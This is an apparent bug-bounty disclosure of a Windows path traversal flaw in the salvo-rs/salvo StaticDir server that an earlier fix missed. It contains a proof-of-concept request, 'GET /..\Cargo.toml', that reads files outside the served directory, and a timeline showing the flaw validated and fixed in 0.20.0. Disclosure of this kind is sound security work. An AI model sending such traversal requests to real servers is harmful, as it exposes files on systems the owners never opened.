Windows-Specific Relative Path Traversal vulnerability in StaticDir server in salvo-rs/salvo


Reported on

Apr 20th 2022


The fix released in version 0.19.1 does not completely fix the relative path traversal vulnerability on Windows hosts. An attacker can access files outside of the configured directory root. This is due to Windows supporting the \ character as a path separator.

Proof of Concept

With a static folder in the project directory:

use salvo::extra::serve::{Options, StaticDir};
use salvo::prelude::*;

async fn main() {
    let router = Router::with_path("<**path>")
        .get(StaticDir::width_options(vec!["static"], Options::default()));


Example attack request:

GET /..\Cargo.toml HTTP/1.1
Host: localhost


This vulnerability is capable of accessing any file on a Windows server running Salvo.

We are processing your report and will contact the salvo-rs/salvo team within 24 hours. 2 years ago
A GitHub Issue asking the maintainers to create a exists 2 years ago
We have contacted a member of the salvo-rs/salvo team and are waiting to hear back 2 years ago
Chrislearn Young validated this vulnerability 2 years ago
William Henderson has been awarded the disclosure bounty
The fix bounty is now up for grabs
Chrislearn Young marked this as fixed in 0.20.0 with commit bc47c8 2 years ago
Chrislearn Young has been awarded the fix bounty
This vulnerability will not receive a CVE
to join this conversation